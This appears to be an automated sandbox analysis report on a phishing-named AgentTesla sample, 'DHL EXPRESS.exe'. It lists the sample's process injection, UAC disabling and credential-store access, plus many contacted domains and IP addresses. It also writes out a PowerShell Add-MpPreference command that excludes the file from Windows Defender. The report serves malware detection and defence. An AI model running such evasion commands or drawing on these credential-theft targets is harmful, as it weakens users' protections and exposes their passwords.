Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\DHL EXPRESS.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: C75008	Jump to behavior

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe	Jump to behavior

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Queries volume information: C:\Users\user\Desktop\DHL EXPRESS.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DHL EXPRESS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disables UAC (registry)

Source: C:\Users\user\Desktop\DHL EXPRESS.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Jump to behavior

Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2638363384.0000000002EDD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2638363384.0000000002EB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 42552, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2638363384.0000000002EB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 42552, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2638363384.0000000002EDD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2638363384.0000000002EB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 42552, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	211 Process Injection	11 Obfuscated Files or Information	1 Credentials in Registry	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Timestomp	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	531 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	251 Virtualization/Sandbox Evasion	LSA Secrets	1 Process Discovery	SSH	Keylogging	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	211 Process Injection	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DHL EXPRESS.exe	100%	Avira	HEUR/AGEN.1313217
DHL EXPRESS.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://89.250.152.76:8080://proxy	0%	Avira URL Cloud	safe
http://170.210.121.190:8080://proxy	0%	Avira URL Cloud	safe
http://161.97.173.78:49145://proxy	0%	Avira URL Cloud	safe
http://5.252.23.220:3128	0%	Avira URL Cloud	safe
http://5.58.33.187:55507	0%	Avira URL Cloud	safe
http://37.53.90.82:12542	0%	Avira URL Cloud	safe
http://104.21.6.88:80	0%	Avira URL Cloud	safe
http://173.212.209.49:31673	0%	Avira URL Cloud	safe
http://127.0.0.7:80	0%	Avira URL Cloud	safe
http://82.137.244.	0%	Avira URL Cloud	safe
http://176.113.73.99:3128	0%	Avira URL Cloud	safe
http://107.178.9.186:8080://proxyx	0%	Avira URL Cloud	safe
http://92.205.61.38:4300://proxy	0%	Avira URL Cloud	safe
http://103.174.178.132:1020	0%	Avira URL Cloud	safe
http://165.227.95.2:8080://proxy	0%	Avira URL Cloud	safe
http://50.145.6.36	0%	Avira URL Cloud	safe
http://72.10.164.178:11251://proxy	0%	Avira URL Cloud	safe
http://172.67.255.224://proxy	0%	Avira URL Cloud	safe
http://178.212.48.80:8080	0%	Avira URL Cloud	safe
http://124.158.186.254:8080://proxy	0%	Avira URL Cloud	safe
http://185.82.87.30:1080://proxy	0%	Avira URL Cloud	safe
http://72.10.160.90:17893	0%	Avira URL Cloud	safe
http://198.57.229.185:64767://proxy	0%	Avira URL Cloud	safe
http://103.82.233.2:1089://proxy	0%	Avira URL Cloud	safe
http://107.180.95.177:63951://proxy	0%	Avira URL Cloud	safe
http://50.145.6.32	0%	Avira URL Cloud	safe
http://181.205.41.21:7654	0%	Avira URL Cloud	safe
http://51.77.65.164:31979	0%	Avira URL Cloud	safe
http://184.178.172.25:15291	0%	Avira URL Cloud	safe
http://103.28.121.58:3128://proxy	0%	Avira URL Cloud	safe
http://47.222.18.105:83://proxy	0%	Avira URL Cloud	safe
http://201.77.108.64:999	0%	Avira URL Cloud	safe
http://72.10.160.171:31571://proxy	0%	Avira URL Cloud	safe
http://190.14.215.130:8080://proxy	0%	Avira URL Cloud	safe
http://134.209.29.	0%	Avira URL Cloud	safe
http://93.182.76.244:5678://proxy	0%	Avira URL Cloud	safe
http://212.220.13.98:4153://proxy	0%	Avira URL Cloud	safe
http://207.180.234.220:39737	0%	Avira URL Cloud	safe
http://203.128.77.213:33378	0%	Avira URL Cloud	safe
http://27.0.234.206:1080://proxy	0%	Avira URL Cloud	safe
http://104.20.103.68://proxy	0%	Avira URL Cloud	safe
http://31.170.53.140://proxy	0%	Avira URL Cloud	safe
http://98.64.169.17:8080://proxy	0%	Avira URL Cloud	safe
http://103.90.227.244:3128	0%	Avira URL Cloud	safe
http://102.216.69.176:8080://proxy	0%	Avira URL Cloud	safe
http://67.43.227.227:2411	0%	Avira URL Cloud	safe
http://2.179.193.146:3128	0%	Avira URL Cloud	safe
http://72.10.160.170:5385://proxy	0%	Avira URL Cloud	safe
http://103.28.121.	0%	Avira URL Cloud	safe
http://91.134.140.160:27207://proxy	0%	Avira URL Cloud	safe
http://59.98.4.70:8080	0%	Avira URL Cloud	safe
http://13.234.24.116:3128	0%	Avira URL Cloud	safe
http://152.32.132.220://proxy	0%	Avira URL Cloud	safe
http://103.216.51.36:32650	0%	Avira URL Cloud	safe
http://94.131.203.7:8080	0%	Avira URL Cloud	safe
http://103.113.71.230:1080	0%	Avira URL Cloud	safe
http://46.21.153.16:3128://proxy	0%	Avira URL Cloud	safe
http://184.178.172.14:4145://proxy	0%	Avira URL Cloud	safe
http://107.180.90.88:20309	0%	Avira URL Cloud	safe
http://149.126.101.162:8080://proxy	0%	Avira URL Cloud	safe
http://72.10.164.178:1431://proxy	0%	Avira URL Cloud	safe
http://159.192.102.249:8080://proxy	0%	Avira URL Cloud	safe
http://221.153.92.39:80	0%	Avira URL Cloud	safe
http://183.88.184.48:8080	0%	Avira URL Cloud	safe
http://103.217.213.145:4145://proxy	0%	Avira URL Cloud	safe
http://51.81.186.179:51405://proxy	0%	Avira URL Cloud	safe
http://111.59.4.88:9002://proxy	0%	Avira URL Cloud	safe
http://183.234.215.11:8443://proxy	0%	Avira URL Cloud	safe
http://86.107.178.103:3128://proxy	0%	Avira URL Cloud	safe
http://104.19.235.10	0%	Avira URL Cloud	safe
http://62.99.138.162://proxy	0%	Avira URL Cloud	safe
http://62.141.70.118:80	0%	Avira URL Cloud	safe
http://31.43.179.160:80	0%	Avira URL Cloud	safe
http://162.214.225.223:40536	0%	Avira URL Cloud	safe
http://174.64.199.82:4145://proxy	0%	Avira URL Cloud	safe
http://3.73.120.104:3128://proxy	0%	Avira URL Cloud	safe
http://72.195.34.59:4145://proxy	0%	Avira URL Cloud	safe
http://115.240.163.31	0%	Avira URL Cloud	safe
http://92.205.110.118:15430	0%	Avira URL Cloud	safe
http://160.3.168.70:8080	0%	Avira URL Cloud	safe
http://32.223.6.94:80	0%	Avira URL Cloud	safe
http://50.169.23.170:80	0%	Avira URL Cloud	safe
http://103.234.24.105:8880	0%	Avira URL Cloud	safe
http://161.97.173.42:50386://proxy	0%	Avira URL Cloud	safe
http://66.29.129.53:14464://proxy	0%	Avira URL Cloud	safe
http://145.239.199.109:3128	0%	Avira URL Cloud	safe
http://141.95.160.178:5870	0%	Avira URL Cloud	safe
http://169.57.157.146:8123	0%	Avira URL Cloud	safe
http://104.17.166.210:80	0%	Avira URL Cloud	safe
http://223.25.100.42:2222://proxy	0%	Avira URL Cloud	safe
http://114.99.13.192:8004://proxy	0%	Avira URL Cloud	safe
http://103.131.8.27:5678	0%	Avira URL Cloud	safe
http://162.214.170.144:31701	0%	Avira URL Cloud	safe
http://104.247.163.246:3825	0%	Avira URL Cloud	safe
http://137.184.200.42:8000://proxy	0%	Avira URL Cloud	safe
http://162.241.6.97:45629://proxy	0%	Avira URL Cloud	safe
http://5.135.83.214:80	0%	Avira URL Cloud	safe
http://50.168.210.239:80	0%	Avira URL Cloud	safe
http://91.198.137.31:3580	0%	Avira URL Cloud	safe
http://84.241.8.234:8080	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ktxcomay.com.vn	222.255.238.159	true	false	unknown
artemis-rat.com	104.21.54.158	true	true	unknown
github.com	140.82.114.4	true	false	high
www.avis.com.hn	172.67.199.231	true	false	unknown
api.ipify.org	104.26.12.205	true	false	high
ip-api.com	208.95.112.1	true	false	high
startupsinhubs.com	162.215.168.66	true	false	unknown
webmail.startupsinhubs.com	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://89.250.152.76:8080://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://170.210.121.190:8080://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://5.58.33.187:55507	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://82.137.244.	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://37.53.90.82:12542	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.252.23.220:3128	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.73.99:3128	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.21.6.88:80	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://161.97.173.78:49145://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://173.212.209.49:31673	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.7:80	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.174.178.132:1020	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB4E7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://92.205.61.38:4300://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://107.178.9.186:8080://proxyx	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://165.227.95.2:8080://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.10.164.178:11251://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://50.145.6.36	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://172.67.255.224://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://178.212.48.80:8080	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.82.87.30:1080://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://124.158.186.254:8080://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://51.77.65.164:31979	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.57.229.185:64767://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.10.160.90:17893	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB1F5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.82.233.2:1089://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC437000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://107.180.95.177:63951://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://181.205.41.21:7654	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.145.6.32	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.28.121.58:3128://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://184.178.172.25:15291	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://47.222.18.105:83://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD8C8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.10.160.171:31571://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://201.77.108.64:999	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://190.14.215.130:8080://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://134.209.29.	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://93.182.76.244:5678://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://212.220.13.98:4153://proxy	DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
